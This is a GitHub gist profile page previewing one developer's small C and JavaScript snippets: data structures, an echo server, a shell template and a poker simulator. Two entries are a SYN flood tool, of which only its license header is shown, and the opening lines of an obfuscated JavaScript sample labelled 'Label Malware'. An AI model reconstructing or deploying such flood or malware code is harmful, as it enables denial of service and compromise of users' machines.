Skip to content

Instantly share code, notes, and snippets.

View yorickdewid's full-sized avatar

Yorick de Wid yorickdewid

  • Netherlands
  • 13:19 (UTC +01:00)
View GitHub Profile
@yorickdewid
yorickdewid / tcpev.c
Created September 18, 2015 14:10
TCP echo client and server
/*
* ------------------------------- tcpev.c ---------------------------------
*
* Copyright (c) 2015, Yorick de Wid <yorick17 at outlook dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@yorickdewid
yorickdewid / chex.c
Created September 12, 2015 21:48
Convert hex string to binary, alternative to sscanf()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_hex(unsigned char *s, size_t n) {
int i;
for (i=0; i<n; ++i)
printf("%02x", (unsigned int)s[i]);
printf("\n");
}
@yorickdewid
yorickdewid / synflood.c
Last active July 15, 2020 16:10
SYN packet flood
/*
* --------------------------- synflood.c ---------------------------------
*
* Copyright (c) 2015, Yorick de Wid <yorick17 at outlook dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@yorickdewid
yorickdewid / queue.c
Created July 1, 2015 11:58
Queue implementation based on linked list
/*
* ------------------------------- queue.c -------------------------------
*
* Copyright (c) 2015, Yorick de Wid <yorick17 at outlook dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@yorickdewid
yorickdewid / mvp.c
Created July 1, 2015 11:55
Move with pattern
/*--------------------------------------------------------------------------*\
* PROGRAM: mvp - move with pattern, version 1.01
*
* PURPOSE: Rename a set of files according to a given pattern.
*
* BLURB: Are you tired of running into a situation where you have a
* bunch of files that you want to rename in the same way, but
* you have no tool to do that for you? For instance, you might
* have a bunch of files 'data01.dat' to 'data99.dat' and you
* want to rename them to use four digits for the numbers. Well,
@yorickdewid
yorickdewid / btree.c
Last active September 18, 2015 14:09
Tree datastructure in C
/*
* ------------------------------- btree.c ---------------------------------
*
* Copyright (c) 2015, Yorick de Wid <yorick17 at outlook dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@yorickdewid
yorickdewid / shell.c
Created June 6, 2015 22:14
Shell template in C. Add your program commands to the shell and link it with your program.
/*
* ------------------------------- shell.c ---------------------------------
*
* Copyright (c) 2015, Yorick de Wid <yorick17 at outlook dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@yorickdewid
yorickdewid / cpoker.c
Created June 5, 2015 15:31
CPoker - A Texas Hold 'em strategy simulator
/*
* ------------------------------- cpoker.c ---------------------------------
*
* Copyright (c) 2015, Yorick de Wid <yorick17 at outlook dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@yorickdewid
yorickdewid / iotest.c
Created April 20, 2015 11:28
Puts() vs printf()
/*
* puts vs printf test
*
*/
#include <stdio.h>
#include <time.h>
#define LOOP 100000
@yorickdewid
yorickdewid / label.js
Created March 22, 2015 22:25
Label Malware
var id = "5555555E0A0B07241511010A1E054A0A0110";
function RuBit() {
StableSortEn('bje');
WrapEx()
};
function EsJavaUpload() {
StableSortEn('lse)');
XhtmlLid();